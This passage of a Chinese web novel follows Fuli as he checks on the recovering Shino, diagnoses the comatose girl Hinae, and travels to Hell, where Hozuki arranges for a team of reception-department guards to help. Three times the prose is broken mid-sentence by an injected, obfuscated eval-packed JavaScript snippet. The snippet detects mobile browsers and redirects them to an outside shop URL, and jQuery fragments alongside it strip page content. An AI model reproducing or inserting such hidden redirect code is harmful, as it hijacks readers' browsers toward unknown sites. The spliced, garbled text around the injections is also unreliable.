这天信乃照常在院内锻炼身体,绫音裹着厚厚的披风在一旁煮茶,滨路则是在做小饼干,这次竟然是规规矩矩按着食谱来的,没有往里面加些奇奇怪怪的东西,一点都不黑暗。 天气寒冷学校也放了假,待在家里无事可做,滨路便开始尝试各种手工的东西,包括但不限于织毛线、做小零食,只是织毛线实在考验耐心,滨路很快就放弃了,倒是做点心还算有趣,滨路时不时就会动手做一些。 大大的盘子摆满按压好的小动物饼干,滨路拍拍手,抖掉手上多余的面粉,抬头对对面的绫音道:“绫音你冷不冷,今天虽然有太阳,但温度也很低,小心生病。” 绫音笑着摇摇头:“不冷哦,我穿的很厚,这是蛇神大人特意为我准备的披风,保暖很好,而且待在屋子里也太闷了,蛇神大人也让我出来坐一坐。” “那就太好了。”滨路开心地转了个圈:“这里女孩子只有我们两个,要是你不能出来,我都找不到人玩儿了。” 绫音捂嘴轻笑:“不是还有信乃他们吗?” “他们都是男的,有些事不好跟他们说,而且信乃最近身体刚好,虽然平时我对他很不客气总是支使,但现在可不能这样了。” 说着滨路声音低下来,看着不远处慢吞吞走路的信乃沉默了片刻:“真希望他快点好起来,明明已经经历过那么多不幸的事,到底什么时候是个头。” 绫音见她难过,嘴笨的不知该如何安慰,只能笨拙地转移话题:“对了,大角不是有个妹妹吗?听尾崎说大角妹妹的症状和信乃很相似,正在考虑要不要用一样的药,要是成功了的话,我们就会多一个女生玩伴了。” 滨路的思路一时被转移,认真回忆起来:“我好像也听说过,但他们担心猜测有误,胡乱用药反而导致病情加重,所以一直不能下定决心,觉得还是问下送药的那位比较保险,但对方最近完全没露面,束手无策啊。” 说到扶黎最近一次都没进城这件事,主要还是天气太冷的锅,哪怕是抗寒能力较强的妖鬼,也不喜欢在这样的天气出门,能在温暖的地方为什么非得出来挨冻? 就这么在家里窝了好几天,过着衣来伸手饭来张口的日子,阿福和阿年都没眼看。 趁着天空短暂放晴,以要晒被子为由硬是把扶黎从床上赶下来。 眼看着屋里是待不住了,扶黎挣扎着爬起身,在心里努力了一下下,终于决定时隔多日出门一趟,再不出门的话,庄介他们怕不是以为自己跑了……嗯,影响很不好。 这样的天里骑马实在不是个好主意,可暂时没有其它交通工具,靠自己跑过去也显得有些傻。 几番权衡之下扶黎还是选择了骑马,阿福已经好吃好喝地供着这匹新加入他们不久的成员好几天,现在终于到了它出力的时候。 一路上风倒是不大,但就算天气再好,在马儿一路疾驰的速度加持之下刺骨的寒意还是无孔不入,迎面而来的气流几乎使他睁不开眼。 不过这趟路赶得还算顺利,除了硬性条件天气太冷无法改变之外,其它一切都不值一提,只花了半个多小时就到了目的地。 一路风尘仆仆,翻身下马,扶着马鞍站定后扶黎抬头看了眼面前这座豪华的大型别墅,不知作何感想,很快又收回视线向前走去。 宅邸的气氛和上次有很大不同,大门半开着,里面时不时传出几句说笑声,听起来很是喜悦开心。 扶黎没有贸然进去,即使大门敞开依旧规规矩矩按了门铃,屋里不多时便响起急促的脚步声。 多日不见的庄介出现在门后,他的精神恢复了许多,先前的摇摇欲坠似乎只是昙花一现,看见门前按铃的人后他眼睛立刻一亮,迫不及待地将两扇门都打开:“真是好久不见,你要是再不来我都要以为你又出去旅行了,快进来。” “哪能啊,最近天气实在不好,待在家里习惯了就不想出来。”扶黎笑笑,跟着他往里走:“今天还是被家里两个小孩嫌烦赶出来,才顺道过来看一眼。” 庄介顺手将门带上,闻言叹了口气:“我倒是希望信乃能像你一样喜欢待在家里,你是不知道他多待不住,刚刚好了没几天路都走不利索,已经天天盼着往外跑了,我是废了好大的劲儿才把人拦住。” “哈哈,他现在怕是有心无力。”扶黎对此心里早有估算,这不是普通的卧床数天,毕竟是被人下了毒,身体肯定会遭受损害,恢复起来需要的时间也会更多。 果然下一秒就见庄介点了点头:“现在还只能散散步,稍微走远些就喘,和之前相比这是大病一场,想恢复不知道要花多长时间。” 扶黎给他出主意:“多煮些滋补食物给信乃吃,要是你们不知道哪些适合的话,我可以让阿福他们给你列个菜谱,多是些汤汤水水,做起来也不如其它菜色难做,就是不包一定好吃,还是得看的手艺,但对刚亏空过的身体效果很好。” 能有这样的建议就很好了,手艺什么的都可以锻炼,实在不好吃就硬逼信乃喝下去,再怎么难吃也比滨路做的好。 屋里的信乃忽然打了个寒颤,总感觉有人在他背后念叨什么不太好的事。 庄介还在边走边跟扶黎说话,这座宅邸实在是大,差不多是个小庄园了,外面看是别墅,但里面其实有很多传统建筑,扶黎走了好一会儿都没走到底。 “其实这次还有个问题想请教一下,所以才等得如此着急。” “哦?”扶黎侧头看过去:“什么事?” 庄介脚步停下,做了个请的动作:“详细的坐下再谈,我们到了。” 原来不知不觉中他们已经走到了深处,这里是他们的内部花园,从外面是看不到的。 扶黎先行抬步进去,里面有两位不认识的女孩儿,另外一个就是他们一直谈论的信乃。 庄介先给他介绍了下这两位女孩儿,扶黎友好地冲她们点点头,因为初次见面并没有说什么话。 倒是信乃看到扶黎后迅速用自己目前最快的速度“冲”过来,速度非常堪忧。 扶黎伸手扶了一把:“你慢点。” 信乃一手叉腰微喘:“这破身体,耽误我大事了。” “大事是指的出去溜达吗?”庄介走过来一点不给他留情面:“那我希望你恢复得慢一点。” 信乃眼睛都睁圆了:“你怎么能这么说,我这不是急着出去抓把我害成这样的罪魁祸首吗?” "你还好意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128083|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,这次连敌人的影子都没瞧见,你就被害得够呛差点没命,最近还是安生一点比较好。" 信乃:“……” 这句话属实说得没错,从来没受过这么憋屈的暗算。 不过这也不怪他们,实在是敌人开挂,他就是特意过来削挂的。 扶黎凑过去打了个圆场:“都怪敌人太狡猾,这个就不用自我反省了。对了,刚刚说有事找我,具体是什么,来谈谈吧。” 说到正事庄介表情严肃起来:“是这样,我们这边还有另一个小姑娘和信乃之前一样昏迷不行,已经一个多月了,但我们不确定是不是,所以想请你掌掌眼,不然这个要大家都不敢喂。” 扶黎皱眉:“已经一个多月了?” 庄介点点头,随后有些紧张:“有什么不对吗?” 扶黎摇摇头没说什么,只道:“既然那么急,那些现在就可以去看,人在哪里?” “这么赶吗?要不要先吃顿饭?”庄介有些不好意思让人家一过来就忙活,至少尽下地主之谊。 扶黎表示没关系,其实有句话他没说,昏睡了一个多月,比信乃的时间还长,却是个普通人,这种情况可能光吃药已经没用了。 但这种话说出来除了平添对方的忧惧外毫无帮助,实在没办法他还可以找鬼灯帮忙捞一捞对方的魂,毕竟这次的事故全由地狱疏忽造成,怎么也得出下力,鬼灯对此应该不会有异议。 趁着他们出门的功夫,信乃硬挤了进来,非得跟着出去,否则就缠着庄介不放。 最后信乃是坐着扶黎的马过去的,庄介为此又叹了气,觉得麻烦别人太多。 时隔多日信乃又一次踏出屋门,古那屋的老板娘看见他一脸惊喜,说要请他吃顿好吃的,补补元气。 大角的妹妹雏衣目前就住在古那屋,老板娘热心地接济了他们,这样大角才能在妹妹出事后还能沉下心来继续做人偶,攒钱找医生,为此大角很是感激。 古那屋是传统建筑,里面的房间大多都是推拉移门,老板娘带着他们到店内深处休息的地方,推开一扇门后道:“这里就是雏衣和大角的房间。” 屋里只有一扇窗,不大明亮的光线透过窗户照进来,屋内勉强能看清楚。 “啪”,信乃点亮屋内的灯,眼前顿时大亮,一个瘦小的姑娘躺在屋中间,即使被褥垫得厚厚的,盖被也盖了两层,被窝依旧不太暖和,这是因为雏衣陷入沉睡后身体机能开始停滞,无法很好的产生热量,也留不住温度。 扶黎没有装模作样地去给雏衣把个脉听个心跳,只粗略看了一下便心知肚明:“确实是一样的症状,药能吃。” 还没等他们高兴,扶黎又泼了盆冷水:“但光吃药没用,这位小姑娘应该是作为最初的试验品被下了毒,看起效了才用到信乃身上,因为时间太长,她的身体状况远不如被村雨附身的信乃。” 扶黎已经没办法在她的身体里看到魂魄的存在迹象了,大概率是脱离身体,不知道飘到了哪里。 不过这些都还有挽回的余地,他站起身面向忧心的众人:“你们先把药喂了,我得去找个人帮忙,他如果没办法那就是彻底无望,大家暂且安心,目前希望还是很大的。” 26. 第 26 章 匆匆忙忙过来一趟,还没休息上一会儿,就又往自己身上揽了活儿。 这次庄介是怎么都不肯他水都没喝上一口就走了,问清楚稍微耽误一会儿不会影响雏衣的救治后,一定要让他吃顿饭再走。 晚上的饭菜非常丰盛,庄介他们准备了上好的牛肉和蔬菜,生怕怠慢了恩人。 一顿饭过后扶黎没有过多停留,连夜就找到了最近的地狱入口。 不管是哪里的地狱入口一开始的地方都是漆黑一片,要走好长一段才会渐渐有光出现,目前凡是地狱发现的入口,都会安装监视器,外观看上去就是一个个会眨的眼睛,一路直直盯着每一个走进来的人,胆小一点的大概会直接吓晕。 不过不管是从哪个入口进,最后都会殊途同归,来到牛头马面的看守的地狱大门。 牛头和马面都是健硕的肌肉女士,高大的身形往门前一站,仿佛两座巍峨小山。 扶黎熟练地跟她们打了个招呼,牛头马面很是热情,应该说她们看见长得好看的会更加热情:“噢——真是好久不见,最近都在外面忙些什么?” 扶黎躲开她凑近的身体,努力保持住安全距离:“还能干什么,当然是完成辅佐官指派的任务,我有急事得赶紧进去了,下次再聊。” 牛头马面只得有些可惜地让开,然后推开沉重的地狱大门,扶黎都走进去了,她们还在后面依依不舍:“那下次再聊啊~~” 扶黎摆摆手,表示一定一定。 地狱之门向内敞开,热闹的地狱之景在眼前展现,门内门外一个天一个地,门外阴森恐怖,门内却是一片热火朝天,时不时便有几位鬼族匆匆走过。 在这里的大部分都是地狱狱卒,只有狱卒会来到如此靠近边界的地方,而平民则在更中心的地带居住。 一路上都有人跟扶黎打招呼,他也算是在这儿混了个熟脸,跟辅佐官的关系好就意味着会被更多的狱卒熟知,虽然扶黎并不认识每个和他打招呼的,但他自有应对,不管是谁都微笑点头示意,一副好久不见我也很想你的模样。 就这么一路走过去,扶黎脸都要笑僵了,等进了阎魔殿顿时一秒变脸。 阎魔大王揉揉眼睛,怀疑自己看错了,不然怎么会看到原本笑得和和气气的扶黎,一眨眼就拉着个脸,快得他简直没反应过来。 揉揉自己笑得僵硬的脸颊,扶黎一屁股做到鬼灯的办公椅上,问高坐公堂之上似乎还未反应过来的大王:“鬼灯去哪儿了,我有事找他。” 阎魔大王张张嘴,声如洪钟:“鬼灯例行巡视各个地狱去了,大概要到中午才能回来,你要是急我可以派人去喊他。” 大王也不管扶黎过来具体是什么事,反正是过来找鬼灯的,鬼灯会一并处理好,不需要他过多盘问。 扶黎想了想:“算了也不是特别急,等他回来再说吧,我顺便在这儿吃顿饭。” 地狱的时间流速和其它世界不同,因此明明进入的时候是夜晚,走过通道也不过个把小时的时间,这边却已经上午10点了。 扶黎摸了摸肚子,才吃过晚饭不久,他现在还没什么饿意,但再等俩小时应该就消化得差不多了,还能再吃点。 好久没来这边,扶黎坐了一会儿就坐不住,自己在阎魔殿到处溜达起来。 相比起小世界的寒冷,地狱可算是舒适多了,穿一件薄薄的单衣正正好,不冷也不热,时不时还有点小风。 可惜这边的景色早在之前他就看过好几遍,不说了如指掌,也可以说是轻车熟路,哪里有什么都清清楚楚。 走了一圈,扶黎看这边没加什么新东西,干脆绕去了澡堂,准备泡个地狱温泉。 这个时间其实没几个人会泡澡,大家都是晚上才会去,不然好不容易泡完洗好了,出去跑一圈又是一身灰一头汗,这不白洗了吗? 不过他过来的时候就是晚上,现在泡也算是有理有据。 大概是为了满足阎魔大王的需求,这边的澡堂修得又大又高,水池也有大,还有深有浅。 这个时间澡堂里一个人都没有,扶黎有种包场的感觉,一个人泡在池子里,水温有点热却不烫,泡一会儿仿佛全身毛孔都被打开,熨帖得很。 湿漉漉的长发忘了事先盘好黏在背上有点碍事,扶黎拿布巾简单包了一下,整个人沉进去,只留下脑袋露在水面上,舒服地叹出一口气。 你还别说,要不是有的时候想看点绿树鲜花,而不是奇形怪状还会咬人的鲜艳植物,地狱也不失为一个好的居住点。 特别是这么大的温泉,纯天然无污染,绝对正宗,每天都能泡,他已经考虑在这边置办一套房产,或者申请阎魔殿的宿舍了。 不能常住,但时不时来这边待上一俩个月还是可以的,再加上他现在也算地狱的编外人员,经常要往来这边,有个住的地方也不会浪费。 不过不经常住的话,申请员工宿舍就有点浪费了。 申请员工宿舍的一般都是资深老员工,因为经常加班,这才会干脆住在这边,方便处理工作,要不然谁不想回家住。 心里这么一盘算,扶黎的主意就定下了,准备抽个时间在地狱这边置办一套房子,这样他就得在两个地方找房了,不过地狱这边的不急,要长住的地方得好好挑,挑个更方面都合眼缘的。 在里面泡了大概有半个钟头,再泡下去皮都得发皱,扶黎才施施然爬起身,换好衣服后重新去了阎魔殿的正堂。 这会儿鬼灯还没回来,大王倒是在审判亡者,边上的辅佐官由别人暂代。 扶黎一看这情况没好意思大喇喇走进去,贴着墙小心翼翼从边上蹭了过去。 倒是阎魔大王在审完这一个换下一个的间隙看到了他,立刻喜气洋洋地招呼:“扶黎你没事的话过来帮帮我吧,没有鬼灯在感觉审判的进度都慢了好多,今天一上午下来还没之前审的一半多。” 扶黎倒是不介意帮帮忙,只是:“我也不知道你们这儿是怎么个流程,应该帮不了多少吧。” 平时都是鬼灯事先记下要审判的亡者的资料,然后再正式审判时缩短时间,他可没那个时间去记。 “不需要做什么啦,就是帮忙去记录科那边用小推车搬搬资料,帮忙按照资料上喊下亡者就行。”阎魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128084|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大王到时没想把速度提升到鬼灯在时那个程度,鬼灯的速度那都是靠“压榨”大王得来了,大王是疯了才想这么逼自己。 今天不仅鬼灯不在,就连辅佐的狱卒也只剩下一个,确实是拉慢了很多进度。 今天要是完不成剩下的日子都得还回去,这一点大王已经在之前体会过好几次,也算是吃过教训,实在想想那样疯狂加班、昼夜不息的日子就头皮发麻。 扶黎略微想了下点点头:“如果只是这样的话,可以哦。” 真正干上这个活儿,扶黎才明白为什么会不停地去记录科搬资料。 原来这每一个亡者,只要活得时间稍微长一点,那资料卷轴就跟个大棒槌一样,老长一卷,小推车一次最多也只能放七八个,可不就得不停来回搬。 到审判的时候,还得学会找重点,不然那老长一堆字看下去,一天能审上三个就不错了。 大王在这方面略略苦手,不过再怎么不擅长,这么多年下来能找到一些诀窍,有惊无险达成平均速度。 扶黎除了兼职运资料外,还得时不时帮忙调校一下审判用的机器,这不熟悉用起来就慢,等差不多上手的时候上午已经结束,扶黎还有些意犹未尽。 不过天大地大吃饭最大,全心全力干了俩小时,这会儿还真有点儿饿。 扶黎活动了两下酸痛的胳膊,感觉过会儿还得去泡泡,那么厚一卷卷轴,又大又沉,来来回回举起放下举起放下,没点锻炼还真扛不住。 阎魔大王那是工作的时候死气沉沉要死不活,一到下班就精神抖擞重获新生。 比如现在,“嗖”得一声,扶黎还没反应过来,只觉眼前红影一闪,再转头一看,只能看到一个庞大的背景风尘滚滚,那速度真不是盖的,大概是使出了毕生功力。 扶黎下意识追了出去,这一追才发现大王大王跑得并不快,只是吨位大随便一跑都显得非常有气势。 不过体重限制下,这样的跑法很容易垮掉,大王才跑了几百米就开始降速,到食堂的时候已经开始气喘。 扶黎微妙地看了大王一眼,伸手把人拖了进去,像拖了个巨大型的麻袋。 地狱的食堂非常大,一眼几乎望不到头,当初建设时就投入了大量资金,更是请了许多厨师,眼花缭乱的菜品一不小心就让人犯了选择困难症。 该说不说,地狱的伙食还是非常不错的,狱卒们平时工作繁重,自然要吃的好一点,要是伙食还不行,怕不是会跑走一大半。 将累赘大王往边上座位一扔,扶黎指指那边流水席一样摆放食物的台面:“大王要吃什么,我帮你拿啊。” 大王喘口气,感激地点点头:“谢谢啊。” 然后不客气地将自己想吃的一口气念了出来,扶黎听完人都呆了,这是个饭桶啊,光是给他拿全得费上好长时间。 不过都答应了还能怎么办,自己揽上身的事儿硬着头皮也要完成。 于是接下来食堂内的众人就看到了一副奇异的画面,一位身材修长的大美人,拖着个巨大的托盘,在场内四处行走,上面的堆的食物满到几乎溢出来。 27. 第 27 章 替大王取完午餐,扶黎这才抽出空来取自己的。 虽然有些饿,但距离上次吃饭不过两个小时,扶黎感觉自己饿得有限,未免不自量力一不小心吃撑,他挑挑拣拣拿了碗拉面,还有一小碗天妇罗,准备浅尝一下。 和大王那一堆相比,扶黎的餐盘里简直少得可怜,“吸溜”一声嗦了一大口面,扶黎腮帮子鼓鼓,看着大王“哐哐”往嘴里塞吃的,歪了歪头,问:“大王您之前虽然吃得也多,但好像没这么多吧?这都快是往常的两倍了。” 大王一抹嘴,面上满是意犹未尽:“前几天一直在减肥,为了控制体重吃的都是些鸡胸肉西蓝花的,也不放调料,一点盐水煮一下就给我吃,我嘴里都要淡出鸟来了。” 说着大王往嘴里塞了一块炸得金黄酥脆的猪排,幸福地咀嚼起来:“今天是每六天一次的报复日,不用控制饮食,我要多吃一点才能撑住下一个六天。”、 扶黎欲言又止,止又欲言——就这吃法之前减的一天全补回去了。 大王真是“常减常新”,总有些让人哭笑不得的想法,也难怪减肥一直没断过,体重一直没减过,白费力。 不过比起这些,扶黎更好奇的是:“鬼灯怎么同意你吃这么多的?” “嗯?鬼灯没同意啊。”大王“恬不知耻”地笑起来,理所当然道:“所以我就趁着他不在大吃特吃,有时候会被抓住,然后就会被痛揍一顿。嘿嘿嘿,不过我皮厚揍一顿也没多大事,第二天就好了。” 这边大王正洋洋得意,扶黎忽觉眼前黑影一闪,鬼灯不知道从哪儿冒了出来,正贴在大王耳边拖长了声音阴森森开口:“哦——是吗?” “呃!”一口肉噎住上不来下不去,大王急得直锤胸口,面色涨得通红。 “哎呀大王,都叫你万事小心,怎么吃个饭都能卡住,多大的人了真不让人省心。”鬼灯语气轻柔的仿佛责备孩子的母亲,是那么的慈祥,那么的和蔼。 “噌!”一下大王浑身汗毛竖起,边咳嗽边拼命往一旁挪,试图远离反常的鬼灯,一副怕怕的样子。 果然,下一秒鬼灯便挥起了拳头,猛猛锤大王胸部,一下一下力道很足,声音也很响亮,是个好胸。 大王龇牙咧嘴嗷嗷大叫,叫着叫着猛然发现卡嗓的肉不见了,于是连忙大声反抗:“停停停,我的胸好痛!” 鬼灯不依不饶:“不是说没多大事,第二天就好吗?怎么才这么几下就开始鬼喊鬼叫,您的威严何在。” “在被打的那刻本王威严就荡然无存了,本王在这里还有威严吗?大家都把我当吉祥物!”阎魔大王忿忿不平:“还有你打的次数太多了,第二天就好不代表打的时候不疼!” 这几句话真是说的闻者落泪听者伤心,然而这样的戏码几乎每天都会在阎魔殿各个角落上演,地狱众狱卒们对此习以为常,一个眼神都没给。 只有切实被影响到的扶黎端着盘子往一边避了避,他护着自己的拉面顺便打圆场:“行了行了,吃饭时间就不要打孩子了,你也知道打他是没用的,随便意思意思两下得了,别耽误自己吃饭。” 前几句话还说得阎魔大王眼泪汪汪,结果后面越说越不像话,大王一双荷包蛋眼彻底变成死鱼眼。 黑发辅佐官冷哼一声,在阎魔大王肚子上又使劲拍了一下,看着肥肉跟果冻一样连绵起伏,非常Q弹。 大王瘪瘪嘴,忍住了没说话。 鬼灯看向一直在对面看戏的扶黎:“你怎么过来了?” “我怎么过来了?当然是有事才过来,不然你请我我都要考虑考虑。”扶黎一脸傲娇:“这回的事儿我自己可解决不了,你一定得自己或者派个人来帮忙。” 鬼灯好奇:“什么事?”扶黎有能力也好强,大多数事情只要他答应了,哪怕有些困难也会全权包揽,像这样回来求助实属罕见。 扶黎吃了个炸虾,点点头,味道还不错,是招了个好厨子:“你上次拜托我找的黄泉之水,有个小姑娘大概被当做了试验品,目前昏迷了一个多月,我在她的身体里看不到魂魄,我不擅长这方面只能回来找人帮忙,看看能不能把人救回来,毕竟这也算地狱失职。” 乍一听到这样的消息,鬼灯并未露出异样的神情,对此他早有心理准备,对方既然偷走就不可能不使用,造成伤亡也是不可避免,关键是后续如何收尾。 辅佐官一时陷入沉思,乌黑眼睫垂下,时不时的颤动仿佛是思考的外界反应。 扶黎也打搅他头脑风暴,自顾自吃完了一晚拉面和一小碗天妇罗,吃完肚子微微鼓起,轻轻拍一拍,是个好瓜,不能再吃了~~ 而另一边的鬼灯也从思考中抽离,顾不得吃饭先跟扶黎交代起公事:“目前我确实离不开地狱,所以我会派迎接科的狱卒过去帮你,他们本就是迎接亡者的工种,对亡魂敏锐程度算得上出类拔萃,一定能派上用场。” 扶黎想了想:“那找到了之后呢,他们能帮忙把人弄醒吗?” 把人弄醒才是主要目的,不然找到也没用。 鬼灯点头:“到时候他们自有办法。” 说完鬼灯就想去给扶黎安排助手,扶黎连忙拦住,也不差这一会儿的,不至于为了工作连吃饭时间都牺牲。 在地狱论起卷工作是谁也卷不过鬼灯的,不过他从不卷下属,只卷大王,因此虽然卷但狱卒们从没在这上面说他的不是,堪称职场满分上司。 鬼灯虽然看起来并不强壮,只是普通身材稍微高些,但饭量却是非同小可,一顿下来比起大王也差不到哪里去。 只是大王喝水也胖,鬼灯干吃不胖,这大概就是重脑力、体力劳动者和好吃懒做者的区别吧。 以旋风般的速度解决了一顿饭,鬼灯撵了大王去工作,自己则是带着扶黎去迎接科。 主任荼吉尼坐在桌上,双腿交叠,一只手搅着头发,另一只手则在翻阅卷宗,也不知道为什么好好的椅子不坐,非得坐桌上。 鬼灯敲了敲门,荼吉尼听见声响抬起头看了一眼,随即合上卷宗不咸不淡道:“什么大风把你刮这儿来了,先说好我这里虽然没之前那么忙了,但暂时不接受更多工作,我的员工也需要休息。” 说着,荼吉尼放开交叠的双腿,从桌上起身,动作不急不缓,腰臀扭动间很有股狐狸精的妖娆。 鬼灯:“不给你们增加任务,但是得借一组人,算是公干出差,到小世界执行任务,那里的工作应该会比这边轻松很多,空闲时间他们想逛一逛也可以。” 荼吉尼脸色一变:“抽走我们一组人不就是变相增加工作量吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128085|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “迎接科总共上千组人,抽走一组能对你们的工作造成多大影响?”鬼灯对此了然于心,在没招到荼吉尼之前,他是各个部门都要管上一管,即便到了现在,也会时不时去了解一下,以便对下属做出最合理的安排。 荼吉尼哑口无言,因为按照这样算增加的工作量确实微乎其微,沉默片刻后她晦气地挥挥手:“行了,你自己挑去吧,就算不来找我,只要是你提出的要求想必他们都不会拒绝。” 不提鬼灯一人之下万人之上的身份,光是凭借他的个人魅力,就有不少狱卒抱着崇拜的态度而来,只要他开口肯定言听计从。 鬼灯却道:“一码归一码,现在迎接科在你的管理之下,我虽然是你的上司,但也不好越过你直接点人,这样不利于管理。” 荼吉尼听得尾巴微微翘起一点,表情虽然没有变化,但能感觉到她心情似乎好了起来,也不赶人了:“现在迎接科的人都在外面忙,等他们回来我挑一组,你们先回去吧,大概晚上就能将人派过去。” 鬼灯自无不可,点头应下。 话说待到晚间,迎接科的一组组“迎接科三连星”回来后,听荼吉尼将这件事一说,果然是群情激涌,纷纷报名。 一个说:“我不是为了休假,只是想实现更突出的价值!” 另一个说:“让我去,我有经验!” 还有的说:“我好长时间没休假了,你们都没我加班时间长,应该我来!” ………… 总而言之,言而总之,大家都很想出去放风,不是那种虽然离开地狱但要不停拘捕亡魂遣送地狱的放风,而是可以悠悠闲闲到处闲逛的放风。 荼吉尼被他们你一言我一语吵得额头上青筋直冒,最后一甩鞭子发出响亮一声,一锤定音:“都别吵了,抽签决定!” 抽签那可就全靠运气了,虽然极其不情愿,但在主任的“强权压迫”之下,大家还是期期艾艾去抽了签,因为人数过多,光是抽签就抽了好一会儿。 抽中的自然欣喜若狂,没抽中都一脸如丧考妣。 不知道是不是天意,抽中的竟然是刚才那个嚷嚷着自己好长时间没休假的狱卒,他代表小组前去抽签,抽出来一看顿时乐得一蹦三尺高 ,中了! 两个同伴见了也是高兴地状若癫狂,冲过来抬起队友就往天上扔,一边扔一边欢呼:“哇!万岁!万岁!万岁!” 佐井巧,也就是刚刚抽中的狱卒,他在空中被扔来扔去,感觉快吐了,本来因为中奖而兴奋的心情也迅速转变成恼怒:“喂!你们赶紧放我下去,再这样小心我吐你们一身……啊!” 佐井巧面朝下摔在了地上,两个兴奋的跟猴子一样的队友忽然噤声,像是被吓到了。 他们看看自己的手,再看看地上的人,小心翼翼地后退了一步:“巧、巧,你还好吗?” 地上的人趴着一动不动,仿佛死了一般。 糟糕!不是晕过去了吧! 两人连忙上前扒拉,手还没碰到对方,地上的“尸体”忽然一跃而起,动作敏捷,行动犀利! “啊!” 佐井巧两只胳膊跟铸铁一般勒住两人的脖子,阴恻恻探头:“你们两个不说知恩图报,怎么还忘恩负义?刚才是不是故意把我扔地下的!嗯?!” 28. 第 28 章 “冤、冤枉啊!”小原恭平努力挣扎中:“这都是意外、意外,你说放手我才松开的么。” 小原恭平说着还觉得挺冤枉,瘪着个嘴。 一旁光村亮只会拼命点头符合。 佐井见他还敢委屈,顿时气不打一处来:“我让你们松手,你们不会先接住然后再把我放下来吗?!” “啊,原来还可以这样!”小原恍然大悟状,一脸受教了的表情,连挣扎都忘了。 佐井一时无语仿佛一拳打进了棉花:认真跟他们计较的自己简直像个傻子。 这么一想顿时没有了继续生气的力气:“算了算了,跟你们组成一队肯定是我上辈子犯了大罪,所以这辈子赎罪来了。” “那我们这辈子跟巧组队,肯定是上辈子干了大好事。”光村亮一点没眼色,捂着脖子二了吧唧地接话。 佐井巧:“……闭嘴吧你!” 虽然抽中了公干出差的签,但此刻似乎也没那么开心了,佐井巧挥挥手叹气:“都回去收拾收拾东西,带几套换洗衣物和洗漱用品,其它到了外面再买,尽量轻装简行,一个小时后在阎魔殿前厅集合。” 说完,佐井再次强调:“记住一个小时内一定要到,否则你们就不要去了,待在这里继续‘打黑工’吧。” 两人迅速站得笔直,掷地有声道:“保证准时到达!” …………………… 虽然给他们下的时间命令是一个小时,但佐井本人却是提前半个小时就到了,他背着个不大的背包,一眼看见正在阎魔厅办公的鬼灯,便快走进步上前问好:“鬼灯大人。” 鬼灯严肃地看着他,认真回忆自己认不认识这个狱卒,自从地狱狱卒越来越多,鬼灯记性再好也有些不够用。 幸运的对面这位是迎接科优秀员工,只过了两秒鬼灯便记起了他的名字:“佐井先生,看来这次是你要出任务,真是辛苦了。” 佐井是位有着浓密卷发,两边鬼角,长相憨厚,身材敦实的狱卒,是那种看上去就很靠得住的靠谱人。 一听鬼灯这么说,他谦虚地摆摆手:“哪里哪里,这简直是放假根本谈不上辛苦,刚刚抽签的时候迎接科所有人都在抢呢,幸亏我运气好。” 话说到这儿佐井巧又搔搔头,不太好意思的样子:“不过我到现在都不知道公出具体任务,很担心到时候能不能完成,要是完不成就尴尬了,哈哈……” 鬼灯对他如此负责任的态度很是赞赏,而且对这一点他并不担心,便将任务大体上讲了一遍:“这是一个对迎接科来说绝对不会失败的任务,你们几乎每天都在寻找亡魂、接引亡魂,只是这次不需要接引而是将她送回,应该没有难度。” 佐井巧点点头若有所思:这倒是,论寻找亡魂他们最拿手,什么事做几十年都会熟能生巧,完全没有担心的必要。 谈话间,正待问些其它问题,身后忽然传来“啪嗒啪嗒”急促的脚步声。 佐井不由回头去看,只是这一看顿时傻眼,不远处他那两个傻帽队友终于来了,这次总算没迟到,但不知道为什么都背着一个硕大的包袱。 可能是包袱太重了吧,两人跑得很是吃力。 佐井满脑门的问号:不是,明明说过轻装简行,这两个蠢货又在搞什么?! 下一瞬,佐井巧反应过来隔老远就开始跳脚,沉稳老练的形象顿时荡然无存,额头青筋暴了一串,等两人到了近前,更是伸手就掐住他们耳朵,掐得两人“哎哟”直叫唤。 “不是说收拾几套换洗衣服就行了,你们这是搬家呢?!” “诶诶诶诶!痛!痛!痛!” “我们真的只带了几套,几套全身的冬季衣服啦!” 佐井嘴角抽了抽,怪不得这么多,冬天衣服本来就厚,还带全套能不多吗? “胡闹!那里再冷能有八寒地狱冷吗?外套最多带两件就行,多了往哪里放!” 佐井觉得他们去了那里大概也是住旅馆,旅馆再怎么好空间也有限,怎么能装下这么多东西,到时候都堆在床上一团乱,整个没眼看。 “欸,你们到时候直接住我那儿,那儿虽然不是什么大豪宅,但一两间客房还是能腾出来的,衣柜也很大,几件衣服而已想带就带吧。” 